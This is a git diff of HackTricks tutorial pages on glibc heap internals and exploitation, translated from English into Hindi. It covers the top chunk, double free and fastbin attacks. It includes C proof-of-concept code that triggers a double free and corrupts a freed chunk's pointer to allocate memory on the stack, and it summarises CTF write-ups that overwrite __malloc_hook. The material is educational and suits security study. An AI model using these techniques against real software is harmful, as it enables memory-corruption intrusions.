@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
[+] Found 0 chunks in 0 small non-empty bins.
|
||||
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
|
||||
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 large non-empty bins.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Top Chunk
|
||||
|
||||
### शीर्ष भाग
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Top
|
||||
Top
|
||||
|
||||
The top-most available chunk (i.e., the one bordering the end of
|
||||
available memory) is treated specially. It is never included in
|
||||
any bin, is used only if no other chunk is available, and is
|
||||
released back to the system if it is very large (see
|
||||
M_TRIM_THRESHOLD). Because top initially
|
||||
points to its own bin with initial zero size, thus forcing
|
||||
extension on the first malloc request, we avoid having any special
|
||||
code in malloc to check whether it even exists yet. But we still
|
||||
need to do so when getting memory from system, so we make
|
||||
initial_top treat the bin as a legal but unusable chunk during the
|
||||
interval between initialization and the first call to
|
||||
sysmalloc. (This is somewhat delicate, since it relies on
|
||||
the 2 preceding words to be zero during this interval as well.)
|
||||
*/
|
||||
The top-most available chunk (i.e., the one bordering the end of
|
||||
available memory) is treated specially. It is never included in
|
||||
any bin, is used only if no other chunk is available, and is
|
||||
released back to the system if it is very large (see
|
||||
M_TRIM_THRESHOLD). Because top initially
|
||||
points to its own bin with initial zero size, thus forcing
|
||||
extension on the first malloc request, we avoid having any special
|
||||
code in malloc to check whether it even exists yet. But we still
|
||||
need to do so when getting memory from system, so we make
|
||||
initial_top treat the bin as a legal but unusable chunk during the
|
||||
interval between initialization and the first call to
|
||||
sysmalloc. (This is somewhat delicate, since it relies on
|
||||
the 2 preceding words to be zero during this interval as well.)
|
||||
*/
|
||||
|
||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||
#define initial_top(M) (unsorted_chunks (M))
|
||||
```
|
||||
बुनियादी रूप से, यह सभी वर्तमान में उपलब्ध हीप का एक टुकड़ा है। जब malloc किया जाता है, यदि उपयोग करने के लिए कोई उपलब्ध मुक्त टुकड़ा नहीं है, तो यह शीर्ष टुकड़ा अपना आकार घटा देगा आवश्यक स्थान देने के लिए।\
|
||||
Top Chunk का पॉइंटर `malloc_state` संरचना में संग्रहीत होता है।
|
||||
|
||||
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
|
||||
The pointer to the Top Chunk is stored in the `malloc_state` struct.
|
||||
|
||||
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
|
||||
इसके अलावा, शुरुआत में, शीर्ष टुकड़े के रूप में असंरचित टुकड़े का उपयोग करना संभव है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Observe the Top Chunk example</summary>
|
||||
|
||||
<summary>Top Chunk उदाहरण पर ध्यान दें</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
return 0;
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
|
||||
|
||||
`main` के `ret` ऑपकोड में ब्रेक पॉइंट के साथ इसे संकलित और डिबग करने के बाद, मैंने देखा कि malloc ने पता `0xaaaaaaac12a0` लौटाया और ये हैं चंक्स:
|
||||
```bash
|
||||
gef➤ heap chunks
|
||||
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
|
||||
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
|
||||
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
|
||||
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
|
||||
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||
```
|
||||
|
||||
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
|
||||
It's also possible to see the length of the Top chunk on its chunk header:
|
||||
|
||||
जहाँ यह देखा जा सकता है कि शीर्ष चंक का पता `0xaaaaaaac1ae0` है। यह कोई आश्चर्य की बात नहीं है क्योंकि अंतिम आवंटित चंक `0xaaaaaaac12a0` में था जिसका आकार `0x410` था और `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`।\
|
||||
यह भी संभव है कि शीर्ष चंक की लंबाई इसके चंक हेडर पर देखी जा सके:
|
||||
```bash
|
||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
||||
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Last Remainder
|
||||
### अंतिम शेष
|
||||
|
||||
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
|
||||
जब malloc का उपयोग किया जाता है और एक चंक को विभाजित किया जाता है (उदाहरण के लिए, अनसॉर्टेड बिन से या टॉप चंक से), तो विभाजित चंक के शेष से बनाए गए चंक को अंतिम शेष कहा जाता है और इसका पॉइंटर `malloc_state` संरचना में संग्रहीत होता है।
|
||||
|
||||
## Allocation Flow
|
||||
## आवंटन प्रवाह
|
||||
|
||||
Check out:
|
||||
देखें:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/malloc-and-sysmalloc.md
|
||||
{{#endref}}
|
||||
|
||||
## Free Flow
|
||||
## मुक्त प्रवाह
|
||||
|
||||
Check out:
|
||||
देखें:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/free.md
|
||||
{{#endref}}
|
||||
|
||||
## Heap Functions Security Checks
|
||||
## हीप फ़ंक्शंस सुरक्षा जांच
|
||||
|
||||
Check the security checks performed by heavily used functions in heap in:
|
||||
हीप में भारी उपयोग किए जाने वाले फ़ंक्शंस द्वारा किए गए सुरक्षा जांचों की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
@ -1,90 +1,88 @@
|
||||
# Double Free
|
||||
# डबल फ्री
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
|
||||
यदि आप एक मेमोरी ब्लॉक को एक से अधिक बार फ्री करते हैं, तो यह आवंटक के डेटा को गड़बड़ कर सकता है और हमलों के लिए दरवाजा खोल सकता है। यह कैसे होता है: जब आप एक मेमोरी ब्लॉक को फ्री करते हैं, तो यह फ्री चंक्स की सूची में वापस चला जाता है (जैसे "फास्ट बिन")। यदि आप एक ही ब्लॉक को लगातार दो बार फ्री करते हैं, तो आवंटक इसे पहचानता है और एक त्रुटि फेंकता है। लेकिन यदि आप **बीच में एक और चंक फ्री करते हैं, तो डबल-फ्री जांच को बायपास किया जाता है**, जिससे भ्रष्टाचार होता है।
|
||||
|
||||
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
|
||||
|
||||
Example:
|
||||
अब, जब आप नई मेमोरी के लिए पूछते हैं (using `malloc`), तो आवंटक आपको एक **ब्लॉक दे सकता है जिसे दो बार फ्री किया गया है**। इससे दो अलग-अलग पॉइंटर्स एक ही मेमोरी स्थान की ओर इशारा कर सकते हैं। यदि एक हमलावर उन पॉइंटर्स में से एक को नियंत्रित करता है, तो वे उस मेमोरी की सामग्री को बदल सकते हैं, जो सुरक्षा समस्याओं का कारण बन सकता है या यहां तक कि उन्हें कोड निष्पादित करने की अनुमति भी दे सकता है।
|
||||
|
||||
उदाहरण:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
// Allocate memory for three chunks
|
||||
char *a = (char *)malloc(10);
|
||||
char *b = (char *)malloc(10);
|
||||
char *c = (char *)malloc(10);
|
||||
char *d = (char *)malloc(10);
|
||||
char *e = (char *)malloc(10);
|
||||
char *f = (char *)malloc(10);
|
||||
char *g = (char *)malloc(10);
|
||||
char *h = (char *)malloc(10);
|
||||
char *i = (char *)malloc(10);
|
||||
// Allocate memory for three chunks
|
||||
char *a = (char *)malloc(10);
|
||||
char *b = (char *)malloc(10);
|
||||
char *c = (char *)malloc(10);
|
||||
char *d = (char *)malloc(10);
|
||||
char *e = (char *)malloc(10);
|
||||
char *f = (char *)malloc(10);
|
||||
char *g = (char *)malloc(10);
|
||||
char *h = (char *)malloc(10);
|
||||
char *i = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("Initial allocations:\n");
|
||||
printf("a: %p\n", (void *)a);
|
||||
printf("b: %p\n", (void *)b);
|
||||
printf("c: %p\n", (void *)c);
|
||||
printf("d: %p\n", (void *)d);
|
||||
printf("e: %p\n", (void *)e);
|
||||
printf("f: %p\n", (void *)f);
|
||||
printf("g: %p\n", (void *)g);
|
||||
printf("h: %p\n", (void *)h);
|
||||
printf("i: %p\n", (void *)i);
|
||||
// Print initial memory addresses
|
||||
printf("Initial allocations:\n");
|
||||
printf("a: %p\n", (void *)a);
|
||||
printf("b: %p\n", (void *)b);
|
||||
printf("c: %p\n", (void *)c);
|
||||
printf("d: %p\n", (void *)d);
|
||||
printf("e: %p\n", (void *)e);
|
||||
printf("f: %p\n", (void *)f);
|
||||
printf("g: %p\n", (void *)g);
|
||||
printf("h: %p\n", (void *)h);
|
||||
printf("i: %p\n", (void *)i);
|
||||
|
||||
// Fill tcache
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
free(e);
|
||||
free(f);
|
||||
free(g);
|
||||
// Fill tcache
|
||||
free(a);
|
||||
free(b);
|
||||
free(c);
|
||||
free(d);
|
||||
free(e);
|
||||
free(f);
|
||||
free(g);
|
||||
|
||||
// Introduce double-free vulnerability in fast bin
|
||||
free(h);
|
||||
free(i);
|
||||
free(h);
|
||||
// Introduce double-free vulnerability in fast bin
|
||||
free(h);
|
||||
free(i);
|
||||
free(h);
|
||||
|
||||
|
||||
// Reallocate memory and print the addresses
|
||||
char *a1 = (char *)malloc(10);
|
||||
char *b1 = (char *)malloc(10);
|
||||
char *c1 = (char *)malloc(10);
|
||||
char *d1 = (char *)malloc(10);
|
||||
char *e1 = (char *)malloc(10);
|
||||
char *f1 = (char *)malloc(10);
|
||||
char *g1 = (char *)malloc(10);
|
||||
char *h1 = (char *)malloc(10);
|
||||
char *i1 = (char *)malloc(10);
|
||||
char *i2 = (char *)malloc(10);
|
||||
// Reallocate memory and print the addresses
|
||||
char *a1 = (char *)malloc(10);
|
||||
char *b1 = (char *)malloc(10);
|
||||
char *c1 = (char *)malloc(10);
|
||||
char *d1 = (char *)malloc(10);
|
||||
char *e1 = (char *)malloc(10);
|
||||
char *f1 = (char *)malloc(10);
|
||||
char *g1 = (char *)malloc(10);
|
||||
char *h1 = (char *)malloc(10);
|
||||
char *i1 = (char *)malloc(10);
|
||||
char *i2 = (char *)malloc(10);
|
||||
|
||||
// Print initial memory addresses
|
||||
printf("After reallocations:\n");
|
||||
printf("a1: %p\n", (void *)a1);
|
||||
printf("b1: %p\n", (void *)b1);
|
||||
printf("c1: %p\n", (void *)c1);
|
||||
printf("d1: %p\n", (void *)d1);
|
||||
printf("e1: %p\n", (void *)e1);
|
||||
printf("f1: %p\n", (void *)f1);
|
||||
printf("g1: %p\n", (void *)g1);
|
||||
printf("h1: %p\n", (void *)h1);
|
||||
printf("i1: %p\n", (void *)i1);
|
||||
printf("i2: %p\n", (void *)i2);
|
||||
// Print initial memory addresses
|
||||
printf("After reallocations:\n");
|
||||
printf("a1: %p\n", (void *)a1);
|
||||
printf("b1: %p\n", (void *)b1);
|
||||
printf("c1: %p\n", (void *)c1);
|
||||
printf("d1: %p\n", (void *)d1);
|
||||
printf("e1: %p\n", (void *)e1);
|
||||
printf("f1: %p\n", (void *)f1);
|
||||
printf("g1: %p\n", (void *)g1);
|
||||
printf("h1: %p\n", (void *)h1);
|
||||
printf("i1: %p\n", (void *)i1);
|
||||
printf("i2: %p\n", (void *)i2);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
इस उदाहरण में, कई मुक्त चंक्स (7) के साथ tcache भरने के बाद, कोड **चंक `h` को मुक्त करता है, फिर चंक `i` को, और फिर `h` को फिर से, जिससे एक डबल फ्री होती है** (जिसे Fast Bin डुप भी कहा जाता है)। यह पुनः आवंटन के समय ओवरलैपिंग मेमोरी पते प्राप्त करने की संभावना खोलता है, जिसका अर्थ है कि दो या अधिक पॉइंटर्स एक ही मेमोरी स्थान की ओर इशारा कर सकते हैं। एक पॉइंटर के माध्यम से डेटा को हेरफेर करने से दूसरे पर प्रभाव पड़ सकता है, जिससे एक महत्वपूर्ण सुरक्षा जोखिम और शोषण की संभावना उत्पन्न होती है।
|
||||
|
||||
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
|
||||
|
||||
Executing it, note how **`i1` and `i2` got the same address**:
|
||||
इसे निष्पादित करते समय, ध्यान दें कि **`i1` और `i2` को वही पता मिला**:
|
||||
|
||||
<pre><code>Initial allocations:
|
||||
a: 0xaaab0f0c22a0
|
||||
@ -112,18 +110,18 @@ h1: 0xaaab0f0c2380
|
||||
## Examples
|
||||
|
||||
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
|
||||
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
|
||||
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
|
||||
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
|
||||
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
|
||||
- हम केवल Fast-Bin आकार के चंक्स आवंटित कर सकते हैं सिवाय आकार `0x70` के, जो सामान्य `__malloc_hook` ओवरराइट को रोकता है।
|
||||
- इसके बजाय, हम Fast Bin डुप के लिए लक्ष्य के रूप में `0x56` से शुरू होने वाले PIE पते का उपयोग करते हैं (1/2 मौका)।
|
||||
- एक स्थान जहाँ PIE पते संग्रहीत होते हैं वह `main_arena` में है, जो Glibc के अंदर है और `__malloc_hook` के पास है।
|
||||
- हम `main_arena` के एक विशिष्ट ऑफसेट को लक्षित करते हैं ताकि वहां एक चंक आवंटित किया जा सके और `__malloc_hook` तक पहुँचने के लिए चंक्स को आवंटित करना जारी रखें ताकि कोड निष्पादन प्राप्त किया जा सके।
|
||||
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
|
||||
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
|
||||
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
|
||||
- We free `B`
|
||||
- We free `A` and allocate again to use the null-byte overflow
|
||||
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
|
||||
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
|
||||
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
|
||||
- Tcache बिन और एक नल-बाइट ओवरफ्लो का उपयोग करके, हम एक डबल-फ्री स्थिति प्राप्त कर सकते हैं:
|
||||
- हम आकार `0x110` के तीन चंक्स (`A`, `B`, `C`) आवंटित करते हैं
|
||||
- हम `B` को मुक्त करते हैं
|
||||
- हम `A` को मुक्त करते हैं और नल-बाइट ओवरफ्लो का उपयोग करने के लिए फिर से आवंटित करते हैं
|
||||
- अब `B` का आकार क्षेत्र `0x100` है, `0x111` के बजाय, इसलिए हम इसे फिर से मुक्त कर सकते हैं
|
||||
- हमारे पास आकार `0x110` का एक Tcache-बिन और आकार `0x100` का एक है जो एक ही पते की ओर इशारा करता है। इसलिए हमारे पास एक डबल फ्री है।
|
||||
- हम [Tcache poisoning](tcache-bin-attack.md) का उपयोग करके डबल फ्री का लाभ उठाते हैं।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,16 +4,15 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a fast bin check this page:
|
||||
फास्ट बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
|
||||
|
||||
As summary:
|
||||
चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिनों की तुलना में सुरक्षा बहुत कम है और केवल **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **बाद में किसी भी मेमोरी पते पर एक चंक आवंटित किया जा सके**।
|
||||
|
||||
सारांश के रूप में:
|
||||
```c
|
||||
ptr0 = malloc(0x20);
|
||||
ptr1 = malloc(0x20);
|
||||
@ -29,9 +28,7 @@ free(ptr1)
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
|
||||
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
|
||||
|
||||
आप एक बहुत अच्छी तरह से समझाए गए कोड में एक पूरा उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) पर पा सकते हैं:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -39,115 +36,108 @@ You can find a full example in a very well explained code from [https://guyinatu
|
||||
|
||||
int main(void)
|
||||
{
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
puts("Today we will be discussing a fastbin attack.");
|
||||
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
||||
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
||||
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
||||
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
||||
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
||||
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
||||
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
||||
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
||||
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
||||
unsigned long *ptr0, *ptr1, *ptr2;
|
||||
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
ptr0 = malloc(0x30);
|
||||
ptr1 = malloc(0x30);
|
||||
ptr2 = malloc(0x30);
|
||||
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
printf("Chunk 0: %p\n", ptr0);
|
||||
printf("Chunk 1: %p\n", ptr1);
|
||||
printf("Chunk 2: %p\n\n", ptr2);
|
||||
|
||||
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
||||
|
||||
int stackVar = 0x55;
|
||||
int stackVar = 0x55;
|
||||
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
||||
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
||||
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
char *data0 = "00000000";
|
||||
char *data1 = "11111111";
|
||||
char *data2 = "22222222";
|
||||
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
memcpy(ptr0, data0, 0x8);
|
||||
memcpy(ptr1, data1, 0x8);
|
||||
memcpy(ptr2, data2, 0x8);
|
||||
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
||||
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
printf("Chunk 0: %s\n", (char *)ptr0);
|
||||
printf("Chunk 1: %s\n", (char *)ptr1);
|
||||
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
||||
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
||||
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
free(ptr0);
|
||||
free(ptr1);
|
||||
free(ptr2);
|
||||
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
||||
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
||||
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
||||
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
||||
|
||||
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
||||
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
||||
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
*ptr1 = (unsigned long)((char *)&stackVar);
|
||||
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
||||
|
||||
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
||||
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
||||
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
unsigned long *ptr3, *ptr4, *ptr5;
|
||||
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
ptr3 = malloc(0x30);
|
||||
ptr4 = malloc(0x30);
|
||||
ptr5 = malloc(0x30);
|
||||
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
printf("Chunk 3: %p\n", ptr3);
|
||||
printf("Chunk 4: %p\n", ptr4);
|
||||
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
||||
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
||||
}
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
|
||||
